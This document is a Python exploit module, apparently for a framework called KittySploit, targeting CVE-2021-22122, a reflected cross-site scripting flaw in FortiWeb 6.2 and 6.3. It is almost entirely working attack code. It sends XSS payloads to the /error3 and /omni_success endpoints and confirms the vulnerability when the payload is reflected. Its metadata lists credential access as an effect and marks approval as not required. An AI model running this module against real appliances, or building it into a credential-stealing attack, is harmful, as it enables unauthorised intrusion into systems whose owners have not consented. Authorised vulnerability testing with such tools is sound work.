FortiWeb Reflected XSS (CVE-2021-22122)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiWeb reflected XSS (CVE-2021-22122)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'FortiWeb Reflected XSS (CVE-2021-22122)',
        'description': (
            'Exploits CVE-2021-22122 in FortiWeb 6.2/6.3: unauthenticated reflected XSS '
            'via error3 and omni_success API endpoints.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-22122'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-22122'],
        'tags': ['fortiweb', 'fortinet', 'xss', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['admin_surface', 'risk_signals'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_22122_detect']},
        },
    }

    xss_payload = OptString("';alert('document.domain');//", 'XSS probe string', required=False)

    def check(self):
        probe = str(self.xss_payload or "';alert('document.domain');//")
        for path in (
            f'/error3?msg=30&data={probe}',
            f'/omni_success?cmdb_edit_path=");alert(\'document.domain\');//',
        ):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            body = (r.text or '') if r else ''
            if r and r.status_code == 200 and "alert('document.domain')" in body:
                return {'vulnerable': True, 'reason': f'FortiWeb XSS via {path.split("?")[0]}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'FortiWeb XSS not reflected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('FortiWeb not vulnerable')
            return False
        print_success('Reflected XSS confirmed — use with authenticated admin session for impact')
        self.vulnerable()
        return True